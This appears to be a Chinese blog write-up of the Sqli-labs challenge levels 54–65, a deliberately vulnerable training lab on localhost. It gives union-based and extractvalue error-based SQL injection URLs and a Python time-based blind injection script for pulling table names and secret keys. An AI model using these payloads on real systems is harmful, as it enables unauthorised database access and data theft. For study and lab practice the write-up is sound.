Hed9eh0g

前进的路上总是孤独的

Sqli-labs Less54-65 Writeup(完结)

本文共计有2472个字

前言

这几关被称为challenge,特点是限制了尝试次数,在这规定次数内需要获取目标secret key,secret key是临时生成的,也即每轮会更新一次key。

Less-54

限制的次数为十次。

先查询闭合方式,得知是单引号闭合,已用掉两次次数:

127.0.0.1/sqli-labs-master/Less-54/?id=1' and 1=1--+
127.0.0.1/sqli-labs-master/Less-54/?id=1' and 1=2--+

查询字段数,得知三个字段数,已用掉六次次数:

127.0.0.1/sqli-labs-master/Less-54/?id=1' order by 1--+
127.0.0.1/sqli-labs-master/Less-54/?id=1' order by 2--+
127.0.0.1/sqli-labs-master/Less-54/?id=1' order by 3--+
127.0.0.1/sqli-labs-master/Less-54/?id=1' order by 4--+

查询显示位,得知是在第二、三位显示,已用掉七次次数:

127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,3--+

最后三次就是用来获取secret key了,先查看表名:

http://127.0.0.1/sqli-labs-master/Less-54/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

得知为:efjfpso69q

《Sqli-labs Less54-65 Writeup(完结)》

再查看字段:

127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='efjfpso69q'--+

得知:

《Sqli-labs Less54-65 Writeup(完结)》

最后获取secret key:YY4xSeq4xDODcd3STWxoc0Rt

127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(sessid,0x3a,secret_GZD1) from efjfpso69q--+

《Sqli-labs Less54-65 Writeup(完结)》

刚好把十次次数充分利用了。

Less-55

与Less-54的尝试原理相同,经过测试可以得知是)闭合,不再赘述。

Less-56

原理仍然相同,闭合方式是’)闭合,不再赘述。

Less-57

原理仍然相同,闭合方式是”闭合,不再赘述。

Less-58

经过测试可以知道闭合为’,但是union注入并不能得出数据,考虑报错注入。

127.0.0.1/sqli-labs-master/Less-58/?id=1' and extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--+
127.0.0.1/sqli-labs-master/Less-58/?id=1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='jv44oh04le')))--+
127.0.0.1/sqli-labs-master/Less-58/?id=1' and extractvalue(1,concat(1,(select group_concat(secret_MCJ4) from jv44oh04le)))--+

Less-59

这一关与上一关原理相同,不过是数字型注入,将上一关的payload中的单引号去掉即可。

Less-60

与上一关原理相同,不过闭合方式是’)。

Less-61

与上一关原理相同,不过闭合方式是’))。

Less-62

尝试次数限制为130次,推测为盲注,由于无报错语句提示,考虑用延时注入:

import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-62/"
result  = ''
string1 = '0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,11):
	for j in string1:
		payload = "1') and if((substr((select group_concat(table_name)from(information_schema.tables)where(table_schema)='challenges'),{},1)>'{}'),sleep(1),sleep(2))#".format(i,j)
		data = {"id":payload}
		time1 = time.time()
		headers = {"Cookie":"challenge=b1d69d7f6eceef8700a1dc70160ec0ff"}
		r = requests.get(url,params = data,headers = headers)
		time2 = time.time()
		time3 = time2 - time1
		if time3  > 3:
			result += j
			print result
			break

超过130次的了,还没有使用二分法破解,但是即使使用二分法也是不能满足要求的。等技术大佬解答吧。

Less-63

与上一关原理相同,只不过闭合方式是’。

Less-64

与上一关原理相同,只不过闭合方式是))。

Less-65

与上一关原理相同,只不过闭合方式是)。

参考文章

v0n大佬的文章

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注